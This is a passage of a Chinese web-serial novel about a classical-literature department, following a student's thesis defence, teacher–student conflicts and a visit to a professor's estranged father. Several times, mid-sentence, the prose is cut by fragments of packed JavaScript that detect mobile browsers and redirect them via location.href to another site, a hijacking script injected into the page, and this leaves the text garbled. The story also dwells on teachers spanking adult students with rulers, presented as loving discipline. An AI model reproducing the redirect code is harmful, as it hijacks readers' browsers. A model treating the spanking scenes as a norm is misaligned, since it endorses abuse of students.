易堂生从没见过老师这样生巍思的气,什么也不敢问,只道:“巍思睡下了,又有点烧起来了,吃了退烧药,可能睡醒就会好些。” “辛苦你了。” “老师说的哪里话?巍思是我师弟,我照顾他,应该的。” 严先生动动嘴角,好似苦笑了一下,易堂生没敢再说话,只静静地喝茶。 也是这一天中午,纪慎带着师门里的小朋友们出去吃饭了,因为开会的缘故凑够了人,加上郑旭提前一天知道也说要回来,便当成是新来的硕士博士的欢迎会了。 饭桌上没有见到庄遂平,郑旭问了一句:“遂平呢?” 纪慎想到他就气闷,并没有马上回答,倒是盛超笑道:“庄师兄现在住在老师家里,架子大得很,我们想见一面都不容易。” 新来的学生一听这话,立刻八卦铃大响,几双眼睛瞟向盛超又瞟向老师,竖起耳朵等下文。 郑旭觑着老师的眼色,好像不大高兴的样子。可盛超还在继续:“之前听说师兄想退学,不过这么久都没有办手续,应该是不退了吧?反正可以住到老师家里,谁还会想着退学呢?” 纪慎的脸色越来悦沉,郑旭眉头蹙紧,给盛超使了一个眼色,可盛超好似没看到,一脸轻蔑的笑。郑旭只得赶紧引开话题:“不说遂平了吧,新来的师弟师妹们自我介绍一下呗,给大师兄认识认识。” 那几个新面孔一听,赶紧放下手里的筷子杯子,正襟危坐,清了清嗓子,认认真真道:“大家好,我是……” 郑旭一直偷偷观察着老师,见老师脸色缓了缓,一颗心才终于放下去。 饭后,郑旭陪纪慎回了学院,路上不动声色地提了一嘴刚才的事:“老师,现在的小孩子年纪小一点,说话不好听,您别放心上,气着自己不值当。” 纪慎轻笑:“说回来,这群人里也就你会说话,要不然当时那些活动怎么都让你去?” “嗨,这不是老师给我机会吗?我不得好好把握?” 到了办公室门口,纪慎推门进去坐了,把自己寻思了许久的问题拿出来,想着也许年轻人会有办法:“郑旭,你说,我最好的东西是什么啊?” “啊?”郑旭明显没反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寒冷中,似乎有人抱住了他,温热的气息贴着皮肤传过来,安抚了他的恐惧和不安。背上传来一阵阵有节奏的轻拍,如同婴儿时期母亲的抚摸。 他在沉稳的安全感中深睡过去。 然而一切似乎都只是一场梦,再次醒来时,刘巍思身边空无一人,床铺乱糟糟的,只有太阳穴依旧一阵阵刺痛着。 103.第 103 章 刘巍思从没见过真正生气的老师。从前文章写不好,待人接物有些差池,老师也会扳起面孔教训几句,动手也是常有的事,但是从不会这样,在他挨打之后不闻不问,仿佛他这个人并不存在。 刘巍思知道错在自己,烧过了那几天便日日换着法子讨好老师,一大清早起来做早餐,陪着老师吃完又洗碗擦桌,殷勤地问老师今天喝什么茶,报纸来了要不要看,还是要打开电视机。可是严先生始终淡淡的。 挫败感排山倒海般袭来。 刘巍思笑得有些僵了,跪坐在老师脚边,塌着肩膀:“老师,我真的知道错了,求您别不理我。” “哗啦啦”,报纸翻过一页,严先生扶了扶老花镜,好似完全没听见有人在说话。 “我不该不接老师的电话,让老师在国外还要担心我。我当时有点闹脾气,”刘巍思被迫剖白,“也很害怕老师不回来了,所以我就……就只好当缩头乌龟。” 看来没有什么新鲜事,报纸也没看头,严先生合上报纸,放到一边。刘巍思还以为老师听进去自己的话了,兴奋地跪直身子,可老师只是拿起茶杯,慢慢啜饮一口。 “老师,您看看我!”刘巍思大胆地晃了晃老师的膝盖,却没有得到任何回应。 “我已经知道错了嘛!大师兄也打过了,为什么老师就是不能原谅我呢?”委屈得都要哭出来了。 不曾想,严先生竟在这时候瞥了他一眼,冷冷道:“我没有不原谅你,我只是在等你的解释。” 刘巍思明显一怔:“我解释过了呀!” “所以说,其实你根本没好好想过自己错在哪里。” 一场没有结果的谈话。如果是以前,刘巍思就会拿戒尺或教鞭过来求老师教他了,可是现在他的屁股确实不能再打了。 柏阅冬的答辩安排在十月中旬。那天早上他师母又给他剪了点头发,看着清爽些。上午九点多,童院长、严先生、纪慎和另外两位年轻老师陆续到来,严先生后面还跟着一个小尾巴——来做记录的刘巍思。 秦昭阳提前收拾好了客厅,算好位置,给大家泡了茶,等人都到齐,才把柏阅冬叫出来。 柏阅冬仍旧遮着伤眼,头微微压着,很怕被人看见的模样。秦昭阳温声细语地带他坐在茶几一侧,老师们的对面,安慰道:“没事啊,就正常答辩,答辩完老师们就回去了。” 柏阅冬点了点头。 大家看见学生的模样,都不禁伤怀起来。当时多好的一个学生啊,白白嫩嫩,像个书生,可眉眼间又很张扬,上台读论文没有一点怯场,跟人交流落落大方,再看现在连头都不抬的样子,真是…… 秦昭阳冲各位老师点头,示意可以开始,就退到了一边。 纪慎作为系主任,自然承担了主持的任务:“今天我们在这里给柏阅冬举办一个提前答辩的会议。首先由昭阳介绍学生情况,再由柏阅冬简要说明自己的论文内容和写作过程,各位老师依次就论文进行提问,学生进行回答辩驳,最后老师们讨论是否同意通过论文答辩。那我们就开始吧,昭阳。” 秦昭阳眼神里是遮不住的疲惫,和柏阅冬一样,不复当年风采。眼看大家的视线聚集在自己身上,他勉强笑笑:“阅冬大家都比较熟了,我简单说一说吧。阅冬是上海人,从F大考过来的,年纪很小,今年才22岁。他对宋词比较有兴趣,研究内容一直与此相关。研一开学就发了文章,后来在严老师的学术会议上读了一篇关于冯延巳、晏殊、欧阳修三者词作收录混乱原因探析的文章,那个时候大家就对他认识比较多了……”说起过去,秦昭阳有些哽咽,但想到在这么多人面前,很不好意思似的强忍住了,“阅冬他涉猎广泛,读了元好问的词,给我很大的启发,想要做元好问词的整理校注,在他受伤前,他一直在帮我做这个事。中间我还带他去参加了国际词学论坛,他读了一篇元好问词学思想的文章,评价也都很好……” 这里的老师,只有两位比较年轻的没有带硕士,其他几个人听秦昭阳说这些,都不禁咋舌:这么多事情,都是柏阅冬在一年半的时间里完成的,这不是天才是什么?这不是做学术的料子,那谁是? “……他的毕业论文是自己想的题目,研究晏几道的词,其实我对晏几道了解不多,给他的指导也很少,基本都是他一个人……” 都是他一个人靠一只眼睛写出来的。 秦昭阳红着眼眶笑了笑:“我不说了,就说这么多吧。” 纪慎有点反应不过来,怔愣了好一会儿,才尴尬道:“好,那阅冬来说说自己的论文吧。” 柏阅冬始终低着头,因为太久没在众人面前说话,音量有点小:“我研一暑假,在国外看到了一些古籍资料,当时没什么事,就去抄了晏几道的词……” 当时他陪着秦嘉辰参加学校的活动,秦嘉辰去学校,他就去图书馆看书,法语看不懂,就去找中文书,找古籍,翻到晏几道的词抄了几首,去接秦嘉辰的时候酸不拉唧地念给女孩子听。但很意外的是,秦嘉辰很喜欢,于是他说:“我明天再去给你找。” 于是他就这样抄完了晏几道的词。 “晏几道是晏殊的儿子,年轻时风流过甚,常流连于妓馆青楼,正所谓骑马倚斜桥,满楼红袖招……” 就像他受伤前,走到哪里都是别人的焦点,不少女孩子明里暗里向他表示自己的心意,在巴黎街头,甚至有金发碧眼的外国女郎递给他一枝红色的玫瑰,他用蹩脚的法语说谢谢,转头就把玫瑰给了秦嘉辰,然后拉着女孩子笑嘻嘻地跑了。 “他的词,多写儿女情长,但情真意切,不似作伪……” 他想,他好久好久没和辰辰说过话了。 “我的论文分为四章,第一章是晏几道生平及交游,为了清晰明了地呈现,我做了年谱和家族谱系表、人物关系图……第二章是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264255|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的词作内容,主要分为以下几类……第三章是他词作的艺术特色,讨论了他的用词、手法以及所形成的稳定艺术风格……第四章是他的词史地位和影响……” 比较简单也明晰的文章框架,老师们边听边在稿纸上写下自己的疑问,刘巍思坐在一旁奋笔疾书,不断记录着柏阅冬发言的要点。 提问是从年轻老师开始的。这两位年轻老师,一个是严先生的研究生,毕业后就直接留下了,另一个是今年才从别的城市过来的博士。听完柏阅冬的发言,不住感叹:“听说柏阅冬同学是暑假前才开始写论文的,三四个月时间能写出这样的文章,真的令人佩服。我认为这个论文完成度是非常高的,不过可能润色时间比较短,文章中语言不通顺的地方还是比较多的,还要有针对性地进行修改才行。” 不痛不痒的意见,柏阅冬点点头,说谢谢老师。 接下来三位老师的意见就比较重要,童院长和纪慎都是对文献研究比较多的,提出的问题也与此相关,问他能不能整理晏几道词的文献版本,目前选择的这个参考文献和引用文献是否是比较完整完善的,是否存在有争议的词作,能否从文献角度进行梳理研究。 当年还没有后来发达的数据库,老师学生们要找文献,真的只能一个图书馆一个图书馆去找,带着本子一个字一个字去抄。这样的工作柏阅冬以前也做过,但现在…… 见柏阅冬没有说话,严先生干脆替他解了围:“童院和纪慎说的这些,都够冬冬再写一篇论文出来了。我们说到底是古代文学专业的,冬冬在文章里说明一下你选择的底本是哪一个就好了,如果有条件,比较一两个版本也就够了,不必人仰马翻的。” 纪慎点点头:“确实,那就咱们学校图书馆和国图两个地方看看吧,有就补充上去。” “好的,谢谢老师提醒。” 轮到严先生了。严先生脸上是一如既往的温和表情,缓缓道:“我听巍思说过,冬冬和辰辰那个丫头,处得很好。” 一句话,让在场所有人都抬起了头,包括柏阅冬。 “冬冬写论文的时候,很想她,是不是?” 柏阅冬的左眼一点一点红了,抿着唇没有说话。秦昭阳在他身后非常紧张,生怕他会突然失控。 “文章也是有生命的,你用生命去写,它就会满怀着你的情感,你很能共情晏几道,是因为你也是这样。” 你也这样的多情缱绻,也曾这样光芒万丈,也曾跌落神坛,落魄潦倒。 柏阅冬低下了头,眼泪悄然落下。 “冬冬选了一个很好的研究对象,虽然是偶然,但是他真的贯注了情感,从这一点上说,这无疑是一篇很好的文章,至于句子的打磨,都是次要的了,能写到这份上,已经很好很好了。” 就严先生在古代文学研究的地位来说,就这几句话来说,绝对是无上赞誉。柏阅冬哽咽着,道了声谢谢。 104.第 104 章 最后的结果显而易见,全票通过论文答辩,柏阅冬可以毕业了。 完成了这样一件大事,大家的心情都放松下来,开始闲聊。童院长看着柏阅冬的文章,又夸了好久,末了很可惜似的,道:“阅冬读博的事,我也不是不想帮忙,只是,唉,上回我也没说清楚,就算是阅冬来我这里当个普通学生,也是难……” 柏阅冬还不知道自己被童院拒绝了的事,满腹疑惑地看向秦昭阳。秦昭阳目光躲闪,慌乱的神情说明了一切。 “我那群学生,做学术不成器,做人倒是几百个心眼,阅冬入我门下,光是应付那些人就要累死了,哪怕不争不抢,别人也要防你的。”童院长道,“阅冬啊,你别灰心,博导多的是,肯定能找到的。” 之前被拒一次,现在当着这么多人的面又拒一次,柏阅冬没什么好心情,方才论文被夸的一点开心也烟消云散。秦昭阳忙道:“不急的,时间还长呢!” 幸亏童院长没有继续提让严先生收柏阅冬,要是严先生再拒绝一次,小孩估计要发脾气了。 严先生看出来小孩子心情不好,笑了笑:“咱们今天来这么久,昭阳和阅冬也累了,不如我们先走吧,让他们休息了。” 纪慎率先站起来:“是啊,大家都走吧,我送严老师回去。” 那两个年轻老师见了,也忙站起来,说要送童院长。一行人一个接一个离开了秦昭阳家,原本热闹的客厅忽然就冷清下来。 柏阅冬还是坐在那里,没有动。 秦昭阳知道他是被打击到了,他那么骄傲那么自信那么优秀的一个学生,当年要是说读博,不知道多少老师抢着要,可如今受了伤,却成了个烫手山芋,谁都不愿意接。 “阅冬……” “什么时候的事?” 秦昭阳知道他问什么,闷声道:“我去找童院申请让你答辩的时候,顺便提了一下。” 算起来,有大半个月了。 “阅冬,你别灰心,老师在看别的博导,我看到现代文学有个老师,他研究近代的,勉强也挂得上钩。你不是喜欢词吗?清词也很多啊,晚清的词都没人研究过,研究空间很大的。” 柏阅冬站了起来,头也不回就往房间走。秦昭阳忙追上去:“阅冬,阅冬,你听老师说……” “砰”一声,柏阅冬从里面摔上了门。 秦昭阳看着近在咫尺的房门,长长地叹了声气,眼神不可避免地暗淡了。 柏阅冬失魂落魄地走回书桌前,软软坐下,看着秦嘉辰的照片,道:“我就说,没有博士读了的。” 这天回去之后,刘巍思也拿出了自己的论文,卖乖似的蹭到老师身边:“老师,也给我看看论文。” 刘巍思一整个暑假都无心学习,论文现在才写到第三章。严先生虽然这段时间对他冷淡,但论文的事是万万不可耽搁的,便接了过来,从头看起。 刘巍思趁着这个时候,去书房拿了戒尺过来,乖乖跪在一边。 严先生觑了一眼,道:“文章写得挺好的,不必打了。” 刘巍思却不肯放弃,执着地将戒尺往老师跟前递了递:“老师,别的事情也教教我。” 小嘴一撅,眉头一拧,像是撒娇。 严先生看着他,目光里是冷静的审视,仿佛是要穿过他的皮肉看到他的心,看看他到底真心还是假意。 可刘巍思却会错了意,竟慌乱道:“屁、屁股好了的,可以打!” 严先生差点被他气笑:“那怎么不拿教鞭来?” 刘巍思咬咬嘴唇,有点害怕的样子,又带点委屈,道:“教鞭太痛了。” 严先生一肚子气,气他分明会讲话但当时什么也不肯讲,气他折腾自己这么久最后讨了一顿打也不肯安生,还气他都跟着自己这么久可是却一点也不相信老师。气盛之下,严先生伸手揪住他的耳朵,往后一拧—— “啊!疼疼疼!老师,老师,我错了!” 严先生看着他耳朵都红了,狠狠放了手:“你错哪里了?!” 眼里含着薄泪,一副受尽了委屈的模样:“我不该不接老师的电话。” 本想让这小孩子自己想通的,可实在是太笨了!想了这么久,还是只有这么一句话。严先生耐心尽失,追问道:“那你为什么不接电话?” “我、我怕老师说不回来了了。” “既然这么怕,怎么不问问清楚?” “不、不敢问……” 严先生轻哼一声,瞪了他一眼:“你还有不敢的?那会跟新宇打架的气势呢?” 似乎是真委屈了,刘巍思跪坐在地上,夹着哭腔道:“姜新宇才不算什么呢,可是,可是师兄,师兄和老师是……” 是亲父子。 我说到底只是一个学生,再亲厚也是没有血缘关系的,我拿什么去和师兄争呢?看到老师和师兄在一起回忆往事,一起畅聊彼此的生活,我能把自己摆在哪里呢? 严先生知道小孩子是没有父亲的,说到这份上,也已经知道他的想法了,原本硬着的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚认完错,还在消化情绪呢,刘巍思便被往上一扯,整个人横在了老师腿上。还没反应过来,身后便一凉,他当即警铃大响:“老师……” “戒尺都拿出来了,不会是做样子吧?” 当然不是,但是也太突然了吧?! 戒尺一端在他屁股上点了点,冰凉的触感让他忍不住缩了缩,刘巍思嗫嚅一下,本能地求饶:“老师,之前师兄打的,疼了好久……” “老师知道,瞎折腾自己的账还没跟你算呢!” 其实严先生这口气憋了好久,也是为着让小孩养好伤,如今那个伤痕累累的屁股只剩几道灰扑扑的痕迹,打也不会心疼了。 刘巍思虽然不忐忑了,可屁股却隐隐作痛,被打晕的痛楚再次浮现在脑海中,让他不由得握紧了双拳。 105.师爷 戒尺“啪”一声抽下来,一道一指多宽的红痕横亘两个臀瓣,刘巍思拳头一紧,没有叫出声。 平心而论,戒尺的疼痛比教鞭要小得多,然而,当第二第三下戒尺接连而至的时候,刘巍思必须要死死咬住嘴唇才能控制住自己不出声,心中也忍不住后悔方才的想法。 疼痛根本不应该拿来比较,任何刑具打下来都是疼的。 戒尺不紧不慢地责落在光屁股上,渐渐将两团肉打出一片绯红,又从臀峰开始,依次往下加深着颜色。随着白皙肉团被染成鲜艳的大红色,原本凉凉的皮肤也变得温热。 热辣的疼痛从臀尖开始蔓延,让刘巍思膝弯一次次打弯,两脚一再朝后踢蹬,腰也控制不住左右扭动起来,试图摆脱这种熟悉而令人不快的感受。 老师的手按在他的背上,默默施加着压力。刘巍思心知有错,不敢过分挣扎,也不敢大声哭喊,疼极了也只是默默渗了些泪水挂在眼角,一副乖巧受罚的模样,任谁见了都舍不得。 严先生倒也没有重罚,打足了数目便停手,让他跪坐起来,问:“打了多少?” 刘巍思轻轻抽泣着,老实回答:“五十五。” “为什么打你这么多?” 刘巍思不知道老师的真实意图,却知道这个数字从何而来:“老师走了五十五天。” “呵,”严先生轻笑一声,颇有些嘲弄,“你倒记得清楚。” 却不想,刘巍思再次猛地抱住了老师,压着哭腔道:“老师不在,我度日如年。” 老师离开的每一天,于我而言,有着刻骨铭心的疼痛。 严先生垂眸看着孩子头顶的发旋,心想,这么多年,我至少没有教坏他。 他的孩子,虽然没有亲生父亲陪伴长大,又在动荡的岁月里耽误了学习,可是他仍然至真至纯,令人动容。 “臭小子,”没有加深此刻的伤感,严先生选择了更俏皮的转换方式,“别以为这样我就会放过你!” 刘巍思抬起头,万分疑惑,打都打了,还不能放过吗? “明天照样拿戒尺来,听到没有?” “啊?” “啊什么啊?” 刘巍思倒是不怕挨几十下戒尺,就是心里没底:“要打到什么时候啊?” 严先生扳起脸,严肃道:“当然是打到我消气,”说着又有点生气,把他拉起来,“啪”地给了一巴掌,“小兔崽子,以为你老师好拿捏!看我不打烂你这个屁股!” 刘巍思委屈巴巴地捂住屁股,不给打了:“老师明天再打!今天已经打过了!” 严先生扬起手,作势要打,小孩子却机灵得很,一下缩进了老师的怀里,脑袋在老师肩窝处蹭着:“老师别打!屁股疼!” 高高扬起的巴掌到底没有落下,反而轻柔地贴着屁股的红肿,慢慢揉了起来:“收拾你一段时间,看你还敢不敢!” “不敢了不敢了!老师不打!” “不闹了,自己回房去上点药,老师给你做饭吃。” “老师给我包饺子吃吧,我想吃饺子。” 严先生简直拿他没办法,只得一口答应下来,并让他上药出来一块包。刘巍思高兴地应了,丝毫看不出刚哭过的样子。 另一边,纪慎以应邀去别的城市做讲座请了一周的假,要带庄遂平出去一趟。在家收拾行李时,妻子见了,有点奇怪:“你要带他出去?去南京?” 纪慎点了点头,没有说话。 到底是一起生活了这么多年,纪慎虽没有明说,可妻子也猜到了一点,追问道:“你要带他去老先生那里?” 收衣服的手一顿,纪慎似乎有些为难,却还是点头承认了。 妻子苦笑了一声:“你和老先生这么多年都没有好好说过话,你竟然为了他,愿意回去。你甚至没有为沅沅做过这样的事。” 这么多年,妻子一直为孩子的出走而伤怀,夫妻俩也越来越不像伴侣的模样。 “忆芸,”纪慎罕见地叫了妻子的名字,“他不是沅沅,我、我也不想,不想再那样……” 忆芸用手指揩去眼角的泪,笑了笑:“没什么,我觉得这很好,你至少,不一样了,虽然我不明白为什么他可以改变你,但这至少是一件好事。” 纪慎扶着妻子的肩膀,让她坐下,缓缓道:“其实不是他改变了我,是很多人改变了我。昭阳的事你也听说了,他这半年多没有一天离开过那个小孩,我有时候想想,如果庄遂平发生了那样的事,我是做不到那份上的。但都是做老师的,我也不能太差劲,是不是?” 忆芸道:“你知道就好,遂平他敏感,想得多,你好好跟他说话,别打他。” “我知道了,不打他。” 庄遂平原本是很不想去的,单独跟纪慎出门,想想就恐怖。可是忆芸劝了又劝,让他当出去散散心,还请他带一些爱吃的点心回来,庄遂平根本没法拒绝,就这么跟着纪慎上了飞机。 庄遂平生平第一次坐飞机,对一切都很陌生,甚至连安全带都不会绑,只好偷偷瞄着纪慎的动作,然后悄悄用手臂挡住自己笨拙的动作。 扣不上,还是扣不上,庄遂平的脸已经红了,尴尬得不知如何是好。纪慎原本没注意到,只是发现他一直低着头,看见他死活扣不上安全带的时候,习惯性地“啧”了一声,满是嫌弃。 庄遂平的手一下就僵住了。纪慎甩开他的手,“咔哒”一声替他扣上了,动作有些粗暴。庄遂平的心情跟郁闷了,对飞机有关的一切都没兴趣了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282968|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几个小时倏忽而过,下飞机时已是在另一个陌生的城市里。庄遂平这辈子只在家乡和学校呆过,任何地方对他来说都很新鲜。不过纪慎并未向他介绍什么,只是带着他上了人家学校派来的车。 来接他们的是两位年轻的老师,坐在前头,扭头问:“纪老师,按照您说的,送您到纪老先生那里?” 纪慎点了点头:“有劳。” 庄遂平敏锐地捕捉到了纪老先生那几个字,难道他们去的地方和纪慎有什么关系吗? 他没有问,纪慎也没有要跟他解释的意思,这个问题便搁置了下来。 车开了半个小时,车上的人一直找话跟纪慎说,搞得庄遂平有点烦躁。最后车停在一栋小别墅旁边,车上的人下来送他们到门口,不住提醒着明天来接,纪慎应了又应,才往别墅门口走去。 还没到门口,一个中年女人便迎了上来,替纪慎提了行李:“纪老师,老先生和太太交代了,今天做了您爱吃的菜,老先生和太太都在家里等着呢!” 听这话,这里应该是纪慎的家。庄遂平琢磨着,可是看纪慎的样子,又很不像回家,倒像是要进龙潭虎穴。 纪慎深呼吸了好几次才终于迈进房子里。一进去,就听见“哒哒哒”下楼梯的声音,母亲欢欣鼓舞,边走边道:“阿慎回来了!妈都多久没见过你了!” 纪慎顾不得那么多,忙到楼梯口迎着,笑着唤了一声:“妈。” 母亲笑着指指二楼走廊:“你爸一直等着你呢,听说你要回来,高兴得很,但是不让人说。” 纪家的别墅二楼几乎是挖空的,像是一个架空层。一楼空空荡荡,一抬头就能看见二楼走廊。纪慎抬头一瞧,果真见父亲双手扶着走廊,两人的目光猝不及防地对上了。 纪慎没打招呼,只是扭头对跟在身后的庄遂平道:“叫师爷。” 庄遂平看看他,又抬头看看楼上白发苍苍的老先生,没有说话。 老先生扶着走廊栏杆缓缓往下走:“纪慎,做老师,是要以身作则的,你没有做到的事,学生也不会做的。” 言下之意,你都没有开口叫一声爸,学生当然不会叫这声师爷。 纪慎听懂了,却没打算改,指着二楼一扇紧闭的暗红色木门,道:“自己上去,进去看,看中什么拿什么。” “啊?”庄遂平听不懂这意思。 “让你去!” “哦。”庄遂平还愣着,方才那个中年女人又过来了,笑着提走了他的行李,道:“那是书房,老先生的宝贝都在里面呢!” 许是太尴尬了,庄遂平低着头就往楼上去了,在楼梯上对上下楼的老先生,嗫嚅了几下,还是没有打招呼。 老先生笑了笑,往楼下去了。 106.泡茶 小别墅是典型的中式古朴风格的装修,整个房子显得古旧深沉,庄遂平在这里有点喘不过气,逃似的躲进了纪慎说的那扇门后。 可是一进去,他就呆住了。 这是一个书房,或者说,是一个图书馆。 太大了,深红色书柜林立,柜子上一排排书整整齐齐密密麻麻。庄遂平惊讶得合不上嘴,不由得往里头走去,眼睛在那些或新或旧的书脊上扫过,真的,要是在书脊上贴上图书馆那样的索引号,这里就跟图书馆一模一样。 走到嘴里头,两个大大的书柜吸引了他的注意力。和别的书柜只有架子没有门不同,这两个大书柜装着玻璃门,门上还带了锁,只是钥匙就插在锁孔里,似乎也并不为防着谁。 庄遂平走近一些,更加震撼,里头竟然是古籍! 他以前去听易堂生的课,听易堂生说过他们这个专业对于古籍的依赖,也去图书馆抄过古籍,那都是要专门的工作人员拿出来的东西,可是,这里竟然…… 一双白手套甩了过来:“戴上,想看就看,看中了就拿走。” 很理直气壮的语气,非常纪慎,庄遂平看了他一眼,扭头走了。 纪慎差点被他气死。 第二天一早,纪慎就去学校讲座了,把庄遂平留在了家里。庄遂平在这栋小别墅里更加手足无措,醒了也不出去,直到憋尿憋不住了才急急忙忙去找厕所。 好在那位阿姨正好走来,给他指了卫生间:“毛巾和牙刷都备好了,老先生和太太交代过的,早餐在一楼,老先生也在呢!” “哦。”庄遂平应了一声,忙跑去撒尿了。 收拾整齐之后从三楼下来,只见纪老先生一个人坐在一楼客厅翻报纸看,戴着老花镜,将报纸放得远远的,样子有些滑稽,却很专心。 庄遂平不知道该如何打招呼,从脚趾头到头发丝都冒着尴尬,只得放慢脚步,想晚一点再挪到一楼。却不想,那位纪老先生耳朵灵得很,听见脚步的轻响,立刻扭头望去,和蔼地笑了笑:“下来吃早饭吧,不知道你爱吃什么,蒸了汤包和米糕,入秋了,大街小巷都是桂花米糕,你们那边吃不着吧?来尝尝。” 过分热情,与纪慎的冷漠和忆芸的平静很不一样,庄遂平适应不过来,却还是憋了一句谢谢。 纪老先生笑了声,再不管他了。 大概是阿姨看见他醒了才热了汤包和米糕,总之他把东西送进嘴里的时候还是温热的,汤包里头的料汁在口腔里爆出来时甚至有点烫,庄遂平忙张开嘴,差点没把汤包吐出来。 阿姨端着碗赤豆小汤圆笑吟吟地出来了:“吃个饭也跟纪老师似的,着急忙慌的,来,这是赤豆汤圆,老先生吩咐给你做的,尝尝合不合口味。” 餐厅和客厅虽然有一点距离,但并无遮挡,阿姨的话顺利传到了老先生耳朵里。老先生一边看报纸一边道:“纪慎教出来的学生,当然是像他。” 庄遂平听了这话,一时间心情复杂,连甜蜜的赤豆汤圆也没有吃出味道。 吃完早餐,庄遂平本想收拾碗筷的,却被阿姨拦住了。他正不知所措时,便听老先生叫了一声:“过来。” 老先生已经放下了报纸,正提着小水壶倒水洗茶具,一整套红棕色的茶具被热水一烫,磨砂表面呈现出一种奇异的亮光。庄遂平缓缓走过去,坐在老先生对面。 “泡茶,会不会?” 庄遂平摇了摇头。 “什么都不会,跟你那个老师一样,没情趣。”老先生埋汰了一句,将茶叶放进小壶里,倒水冲泡。庄遂平一边看一边想,这有什么难的?可没过一会,老先生就提起小壶,将茶水倒在了茶具底盘上,“第一泡是不喝的,就当是洗茶叶。” 哦。 老先生看他呆头呆脑的样子,忍不住笑出了声,边倒水边问:“你们严老师怎么样了?” 终于有一个回答得上的问题了,庄遂平小声回答:“我有一段时间没见过严老师了,上回见他的时候,他挺好的。” 老先生点了点头,说起往事来:“他给纪慎上过课,我跟他也算有点交情。你这次回去,帮我给他带声好。” “是。” 问答间,第二泡茶已经出来了。橙红色的茶水透亮见底,没有一丝杂质,静静地盛在茶碗里。老先生拿起一杯递给他:“红茶,尝尝。” 庄遂平双手接过来,轻轻抿了一口,有点烫,但入口温润醇厚,茶水从喉咙进去,一直通到肚子里,仿佛身体都被打开了,轻盈舒展。 “还要不要?” 庄遂平红了脸,不好意思地点了点头。 纪慎做完讲座,中午应酬,回到家的时候已是下午三点多,见老先生和庄遂平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287323|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在客厅还算平和的模样,只瞥了一眼就上楼去了。 老先生嗤笑一声:“他倒是不怕丢你们严老师的脸。” 庄遂平想,纪慎平日在外人面前是佷有礼貌的,对严老师更是恭敬,不会这样随性。 过了会,纪慎又下来了,手里一沓厚厚的纸,往桌子上一丢,硬邦邦道:“给他看看论文。” 稿纸上熟悉的字迹和鲜红的颜色映入眼帘,庄遂平顿时受了惊,顾不得什么茶杯茶碗,猛地将论文攥过来,紧紧抱在怀里,整个人不住发抖。 “你干什么?!”纪慎皱了眉,简直无法理解他的行为。 可庄遂平没有解释,只是沉默着抱着那沓稿纸,也不管这样是不是会弄皱,就是不愿意让别人看。 他的论文,写得很差。 老先生见他这个样子,有些奇怪,但只是轻轻拍拍他的肩:“遂平,师爷看看。” 庄遂平摇摇头,一颗眼泪掉了出来。紧接着,更多的眼泪相继涌出,“啪哒啪哒”打湿了脸庞。 纪慎不耐烦地“啧”了一声:“你哭什么啊?” 老先生抬头瞪了他一眼,纪慎毫不惧怕,回了个白眼,走了。 老先生从背后轻轻环住小孩,温声道:“好了,没事的,遂平不怕。” 论文是庄遂平哭累以后被老先生抽走的,原本他还没有察觉,可是那天晚上他又做了梦,梦里提着戒尺让他脱下裤子的人变成了纪老先生。他看着原本慈眉善目的老先生严肃起来,比纪慎还有可怕几分,顿时吓得两腿发软,走不动路了。 老先生用戒尺敲了敲茶几:“还不快点过来挨板子?!” 庄遂平泪眼汪汪地捂着屁股,摇摇头:“不要打屁股。” “论文写成这个样子,不打屁股怎么行?师爷打完,你老师还要打……” 庄遂平不知自己怎么的就脱了裤子伏到茶几上了,白天那套茶具消失了,只有他上半身紧紧贴在桌面上,屁股撅在茶几边缘,可怜兮兮的。 戒尺不知道抽了多少下,庄遂平只觉屁股火辣辣地烧了起来,不由得哭了。 “不要,不要打……” “我知道错了,求求……” “好疼,屁股好疼,别打了……” “轻点,慢点,让我缓一缓……” “不要打了……” 107.三代 早上众人都下来吃早餐了,唯独不见庄遂平。老先生边喝粥边道:“怎么不去叫那孩子下来?” 